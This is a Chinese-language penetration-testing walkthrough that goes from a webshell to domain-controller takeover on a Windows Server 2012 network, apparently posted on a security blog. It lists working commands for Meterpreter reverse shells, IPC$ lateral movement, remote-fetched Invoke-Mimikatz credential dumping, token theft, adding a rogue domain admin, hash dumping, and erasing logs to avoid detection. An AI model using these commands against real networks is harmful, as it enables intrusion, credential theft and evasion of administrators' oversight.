一次完整的從webshell到域控的探索之路

內網滲透測試資料基本上都是很多大牛的文章告訴我們思路如何,但是對於我等小菜一直是雲裏霧裏。

於是使用什麼樣的工具才內網才能暢通無阻,成了大家一直以來的渴求。

cmd1

今天小菜我本着所有師傅們無私分享的精神,特將三年內求師傅,求妹子,求神器所得,經過整理後,關鍵的知識點寫出來。

相關知識點總結如下:

  • 免殺 payload 的生成,請使用 Veil
  • msf 在 meterpreter 下的提權嘗試
  • msf 在 meterpreter 下的 bypassuac 嘗試
  • 內網滲透測試過程中的信息關聯
  • meterpreter 的路由添加以及相關掃描
  • Powershell 在 meterpreter 下面的使用
  • Meterpreter 的 post 模塊使用
  • Msf 的 custom 自己生成的 payload 的使用
  • 進程注入竊取令牌

 

其實重點不在於知識的多少,大家只需關注比較重要的連接點。

分享爲了方便大家以後在安全脈搏一起交流,一起學習,一起進步(一起Zhuangbility)。

首先 shell 是別人給我的,也不是這裏介紹的重點,所以在此忽略。

滲透測試的環境詳細如下:

  • A 堡壘機(webshell 所在機器):windows server 2012
  • B 堡壘機:windows 2008(powershell 掃描機器)
  • C 堡壘機:有域管理進程的機器 windows server 2012
  • D 堡壘機若干

 

第一步 反彈 meterpreter

其實每一次的滲透測試開始並不像我們想象的那麼順利,而這一次的開始也同樣意味着

我們一次不同的旅程,整個的滲透測試過程我花了差不多四個小時的時間,大部分的時間都是花在解決這些問題之上。

 

1 webshell 無法上傳 exe

本來想着直接上傳 meterpreter 的 payload 的直接反彈的結果發現上傳不了,可以選擇 powershell 的 meterpreter 的模塊來實現

2 meterpreter 的 reverse_tcp 模塊反彈不成功

Msf 的 payload 的反彈,剛開始我使用的模塊是 meterpreter 的 reverse_tcp 的模塊來嘗試,發現可以反彈,但是一直無法建立成功 meterpreter

說明一定有監控發現了我們的行爲。於是在此基礎上嘗試 meterpreter 的 reverse_https 模塊,順利反彈成功

詳細遇到的問題和解決過程的圖如下所示:

domain1

圖 1-1 使用 payload

domain2

domain3

圖 1-2 設置 https 的 payload

domain4

圖 1-3 反彈成功

 

第二步 嘗試提權 windows server 2012

當我們首先拿到一個 (權限不足的)Webshell 的時候想到的第一件事是什麼?那肯定是提權,我也想大家想的一樣,首先開始了我們的提權之旅。

首先使用 msf 的 search 模塊 ms15,會得到一些漏洞利用的模塊。我嘗試了 ms15_05 以及 ms15_078 全部以失敗結束。

詳細的圖如下所示:

domain5

圖 2-1 提權嘗試失敗

第三步 嘗試當前賬號 Bypassuac 測試

剛開始一直忘說了一件事,那就是 webshell 本身的權限,我們目前 webshell是 jsp 的,具有當前的一個普通域用戶的權限。

我於是也想到了是不是可以通過bypassuac 來完成提權呢,但是測試的結果可想而知,又一次失敗了。

目前詳細的情況如下:

domain6

圖 3-1 當前的用戶權限

domain7

圖 3-2 bypassuac 嘗試

 

第四步 相關信息收集

當我們此時提權不成功的情況下,我們還是可以利用當前的用戶進行域滲透測試的。那

麼目前我們具有以下幾種方式進行滲透測試域:

1 收集域裏面的相關信息,包括所有的用戶,所有的電腦,以及相關關鍵的組的信息。

常使用到的命令如下:

net user /domain

Net group "domain computers" /domain

net group "domain admins"  /domain #查看域管理員

net localgroup administrators

net view /domain

 

2 收集 sqlserver 的相關信息,如果當前堡壘機使用了 sql server 的話,恰巧用戶是當前的域用戶的話,我們在此可以使用 sqlcmd 的信息收集,以及掃描攻擊。

在這裏只是提到,因爲篇幅問題,暫時不做深一層討論

 

根據我的滲透測試經驗,我在此只是做了最簡單的信息收集,首先使用 sqlcmd 的獲取sql server 的所有機器列表、當前堡壘機的機器名、當前堡壘機的 IP、

還有 net view 來做簡單的信息收集。

詳細的圖如下所示:

domain8

圖 4-1 SQLCMD 獲取信息

 

domain9

圖 4-2 當前的機器名

domain10

圖 4-3 net view 相關的機器名

 

第五步 信息分析,成功獲取一臺服務器權限

當我們信息收集完成以後,我們要開始考慮接下來要做什麼。

首先我們來看一下我們目前擁有什麼:

  • A 一個域用戶的進程權限,當前堡壘機是 windows server 2012,提權失敗。(假如能提權成功,我們依然是無法獲取到用戶的明文密碼)
  • B 當前的堡壘機的用戶名
  • C 當前 sqlcmd 獲取到的同樣安裝了 sql server 機器的名稱

目前我們的思路有:

  • 1 使用 meterpreter的目前權限來添加路由進行弱口令掃描
  • 2 使用 powershell 對內網進行掃描(本次滲透測試使用了,但是在這裏暫時沒有使用),具體來說時間比較慢一點,當然此時此刻powershell 絕對算是一個內網滲透測試又一神器
  • 3 使用當前的用戶權限架設 socks4a,然後利用第一步我們獲取到的信息 socks 進行內網掃描
  • 4 使用當前用戶的權限,對域裏面的電腦進行 IPC,或者 DIR 溢出(也就是 dir 其他電腦的 c 盤,如果成功表示有權限)批量測試

 

通過上面的分析,此時我選擇了最偷懶的一種方法,進行當前堡壘機的機器名和 net view 的機器名進行對比,找出來非常相似的幾個機器名,手動測試。

當前速度也是非常快的,在嘗試了兩次的時候就成功了。

詳細過程如下:

Net use \\ip\c$

Tasklist /v /s ip

domain11

圖 5-1 net use 測試成功

domain12

圖 5-2 tasklist 執行成功

 

第六步 域信息收集

首先在第四步已經說了域相關的信息收集,這裏就不做過多的介紹了,這次是在第五步的基礎上做的相關收集,相關知識點如下:

 

1 域信息收集,其中用到的命令如下:

Net group "domain admins" /domain

Net group /domain

Net group "domain controllers" /domain

Net group "enterprise admins" /domain

 

2 ipc$入侵,大家相關的話自行百度經典 IPC$入侵

Net use \\ip\c$

Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)

Net time \\ip

At \\ip time c:\bat.bat

 

3 上傳抓明文工具 64.exe(mimikatz 神器),大家都懂的

 

Upload /home/64.exe c:\

Shell

Cd \

64.Exe

 

4 查看抓取到的用戶的詳細信息

Net use xxx /domain

5 使用 meterpreter 的 ps,查看相關用戶的進程列表

6 嘗試使用域令牌假冒

Use incongnito

list_token -u

Impersonate_token xxxxxx

 

我在這次滲透測試過程中嘗試上面講到的所有知識點,詳細的截圖如下:

domain13

圖 6-1 查看域管

domain14

圖 6-2 查看域組

domain16

圖 6-3 查看域控制器

domain15

圖 6-4 查看企業管理組

domain17

圖 6-5 共享 copy 數據

domain18

圖 6-6 經典 ipc$

domain19

圖 6-7 反彈 meterpreter 成功

domain20

圖 6-8 上傳文件

domain21

圖 6-9 查看服務器信息

domain22

圖 6-10 抓取密碼

domain23

圖 6-11 查看域用戶權限

domain24

圖 6-12 查看域用戶權限

domain25

圖 6-13 竊取令牌嘗試

domain26

圖 6-14 查看主域控的 IP

 

第七步 SMB 快速擴張控制權限

此時此刻,作爲讀者你的在想什麼呢?是不是當看到第六步的時候就可以去睡覺了,畢竟已經凌晨五點了。

但是此時此刻作爲一個專業求師傅,求妹子,求神器的人可不這麼想。

我們要做最後的衝刺,因爲黎明的鐘聲已經敲響。

 

先來看一下我們當前擁有什麼權限:

有兩臺堡壘機,兩個用戶權限

目前我們要做的事情很簡單,就是快速的在內網擴大控制權限,那麼如何去做,其實很簡單的,就是快速的掃描以完成我們的夢想。

 

具體如下:

  • 1 使用當前獲取到的兩個用戶權限,快速的進行掃描。(掃描哪裏了,看到第六步最後一張圖 6-14 了沒,就是域控的 IP 段)
  • 2 smb_login 掃描
  • 3 端口轉發進內網

 

目前思路我們已經有了,神器 msf 終於迎來了自己夢想惡天堂。讓我們愉快的玩耍吧。

詳細知識點如下:

  • 1 msf 添加路由 route add ip mask sessionid
  • 2 smb_login 模塊或者使用 psexec_scanner(這個模塊需要你自己搜索一下)
  • 3 meterpreter 端口轉發
  • 4 msf 的 socks4a 模塊(這次滲透測試沒使用到,但是並不代表它不美好)

 

domain27

圖 7-1 設置 smb_login 的參數

domain28

圖 7-2 爆破成功的機器

domain29

圖 7-3 查看已經獲取到的權限

domain30

圖 7-4 端口轉發和目前擁有的權限

 

第八步 Powershell 獲取域控管理員在線的機器

 

內網滲透測試不得不說到兩大神器:msf 和 powershell,但是看大家基本上都是分開來使用的,或者說大家在一次滲透測試的過程中很少遇到,今天作爲讀者的你有福了。

 

首先來講講 powershell 的在內網滲透測試中不僅能掃,能爆,能轉發,當然還能做更多的事情,

一般使用到的模塊有下面三個:

  • 1 Empire 據說是神器,也確實是神器,我沒使用過,暫時不多說
  • 2 PowerUp 據說提權神器,也確實是神器,我很少使用。也暫時不多說
  • 3 PowerView 據說是域滲透神器,也確實是神器,我一直用,非常漂亮

來說說 powershell 的使用,其實也很簡單,只是大家在用的過程中一般沒有太多的注意,

主要有三種方式來調用:

 

1 當然是下載到本地執行,詳細使用方法如後面連接:powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

2 第二種方式是把 powershell 文件上傳到堡壘機本地執行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

3 上傳到對方本地,然後 Import-Module 導入,使用PowerView 的所有模塊使用其實很簡單,直接調用方法,大家看看下面的圖就知道了。

如果你能看到這裏開始你的 powershell 之旅,內網將開始變得簡單。

 

domain31

圖 8-1 powerview 的相關方法

 

廢話講了這麼多,下面開始我們的實戰,其實很簡單,我真的想說很簡單,簡單到一句話搞定。

Powerview 中的 Invoke-UserHunter 是獲取當前域管理員在線登錄的機器。

這次的旅程我們就用它來完成進一步的信息獲取。詳細如下圖:

domain32

 

圖 8-1 powershell 執行命令

domain33

圖 8-2 powerview 的效果展示

 

第九步 域控管理員權限的獲取(windows2012 權限)

在經過第八步之後,身爲讀者的你是不是感覺這次收穫有一點點,內網域滲透測試再也不是那麼一籌莫展了呢。

神器過後還是神器,又見它 windows server 2012,雖然域管理在線,但是我們的抓密碼神器陽痿了,總不能修改註冊表,等管理員再次登錄吧。

目前來看看我們遇到的問題,通過 powershell 成功獲取到相關的域控管理員在線的一臺機器 windows server 2012,並且用這臺機器的權限,那麼接下來我們去搞定域控。

 

思路如下:

  • 1 修改註冊表等待域控管理員再次登錄來抓取(黃花菜都會涼的)
  • 2 通過 PowerUp 的進程來注入獲取域權限(沒使用過暫時放棄),當然此處也可以寫類似外掛的功能注入進程獲取權限
  • 3 msf 的令牌竊取功能(這個可以很容易實現)

 

知道思路,那麼接下來就開始我們愉快的旅程吧。我要求師傅,求妹子,求神器,專業求到域控去:

1 同樣使用 ipc 經典入侵手法,反彈 meterpreter,

Getsysttem 權限

Ps 查看域管理所在的進程

Migrate pid 注入進程

 

2 繼續經典的 IPC$到域控

Meterpreter 下面 shell

Net use \\域控 ip\c$

Net time \\域控 ip

Copy bat.bat \\域控 ip\c$

At \\域控 ip time c:\bat.bat(意料之外的錯誤,提示 schtasks.exe,不熟{安全脈搏小編注:08及以上at命令就廢棄啦,都用schtasks定時計劃任務}

 

3 通往成功的路不只有一條,添加域管賬戶

Net user demo demo /ad /domain

Net group "domain admins" demo /ad /domain

到了此刻,我們已經擁有域管權限了。

詳細的截圖如下:

 

domain34

圖 9-1 注入域管進程,連接域控

domain35

圖 9-2 添加域管理賬號

domain36

圖 9-3 查看域管理是否成功

 

第十步 域控我來了(msf psexec 反彈 shell)

一看時間,凌晨七點了,早上的太陽要升起來了。此時此刻你的心情是怎麼樣呢。該晨起跑步了吧。東方的太陽就要升起了,域控的權限也終於到了了。

先講思路,登錄域控其實有很多方式的,下面我說一下我能知道的幾種吧,相信大家也大家也都知道的:

  • 1 端口轉發或者 socks 登錄域控遠程桌面
  • 2 登錄對方內網的一臺電腦使用 psexec 來反彈 shell
  • 3 使用 msf 的 psexec 反彈 meterpreter

 

反彈需要注意要用到的知識,我們這裏採用的是 psesexc 來反彈 meterpreter,其中涉及到的知識如下:

  • 1 msf 中 psexec 模塊的使用
  • 2 custom 模塊的使用,配合 meterpreter,在 payload 不免殺的情況下如何使用自己 Veil生成的 payload

 

詳細的使用過程如下圖:

domain37

圖 10-1 psexec 執行測試

domain38

圖 10-2 psexec 默認反彈不成功

domain39

圖 10-3 meterpreter 的 https 模塊反彈成功

domain40

圖 10-4 域控的系統信息

 

第十一步 Meterpreter 獲取所有用戶的 hash

有了域的權限之後,如果我們還想進行深層次的控制,那麼 dumphash 是必不可少的。

首先來看看我們需要的知識:

  • 1 msf 有兩個模塊可以使用,一個是 hashdump,此模塊只能導出本地的 hash,大家測試就可以知道了,另外一個是 smart_hashdump,此模塊可以用來導出域用戶的 hash.
  • powershell 有可以直接導出的模塊,大家自行嘗試一下
  • 3 wce,mimikatz 等神器的使用

在這裏我採用的是 msf 的 smart_hashdump 的模塊。在此需要注意的是要想使使用此模塊導出 hash,必須要使用 system 的權限才行。

詳細的過程如下圖:

 

domain41

圖 11-1 smart_hashdump 模塊的使用

 

第十二步 曲折的探索之路

這裏是整理一下之前用到的一些技術,和走過的一些彎路。文檔到這差不多算是完成了

一個從 webshell 到域控的探索之路算是完成了,當然在這裏我把過程中走的一些彎路還有不足點指出來,歡迎大家的指正,共同學習。

 

domain42

圖 12-1 session 控制圖

根據上面的圖知道,我現在控制的 Session 一共有 5 個,其中有四個是必須要獲取的,分別爲 session1,session2 session4,session5。

其中 session1 爲 webshell 反彈所獲得,第二個session2 是信息分析獲取到的,session4 爲獲取域管理員所獲取,session5 爲域。

其中 session3就是我所走過的彎路,浪費了時間。

之後我們必須爲了更好更快速有效的完成滲透測試,平時努力練劍。盡力做到不出劍則已,出劍則見血。

 

第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理)

作爲一次比較成功的友情測試,我們必須要做到來無影,去無蹤。所以收尾工作,也將悄悄展開。

 

涉及到相關的知識點:

  • 1 刪除之前添加的域管理賬號
  • 2 刪除所有的使用過程中的工具
  • 3 刪除自己所有的操作記錄
  • 4 關閉所有的 meterpreter

在此過程中我們一共上傳了兩個文件,一個 bar.bat,一個 64 位的 mimikatz 抓密碼工具,

直接刪除即可。

 

domain43

圖 13-1 刪除用戶

domain44

圖 13-2 關閉所有的 session

 

總結

總結說點什麼好呢。還是先喊口號吧------“求妹子,求師傅,求神器”。

感謝三年多以來爲我默默分享的師傅們,感謝妹子在我做這次友情測試的時候,她一直靜靜的陪在我這邊,

感謝這些年求來的各種神器,沒有這些資源的支持,我將不會完成這次的友情測試。

作爲一名滲透測試愛好者,我們一直在努力的追求着心中那個美麗的夢想;

作爲一名程序員,我們就是想簡單的 coding。人生如此美好,大家何不聯手,一起分享美好。

 

目錄

域滲透測試教程(windows server 2012)............................................................................................ 1

前言.............................................................................................................................................  2

第一步 反彈 meterpreter.......................................................................................................... 2

第二步 嘗試提權 windows server 2012...................................................................................  4

第三步 嘗試當前賬號 Bypassuac 測試.................................................................................... 5

第四步 相關信息收集............................................................................................................... 6

第五步 信息分析,成功獲取一臺服務器權限......................................................................  8

第六步 域信息收集................................................................................................................. 10

第七步 SMB 快速擴張控制權限............................................................................................  16

第八步 Powershell 獲取域控管理員在線的機器....................................................................  18

第九步 域控管理員權限的獲取(windows2012 權限)..........................................................  20

第十步 域控我來了(msf psexec 反彈 shell)........................................................................... 22

第十一步 Meterpreter 獲取所有用戶的 hash....................................................................... 24

第十二步 曲折的探索之路..................................................................................................... 25

第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理).................................. 26

總結...........................................................................................................................................  27

 

【作者:安全脈搏成員cimoom  個人博客:maozi.lv  安全脈搏 分享技術 悅享品質 】

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章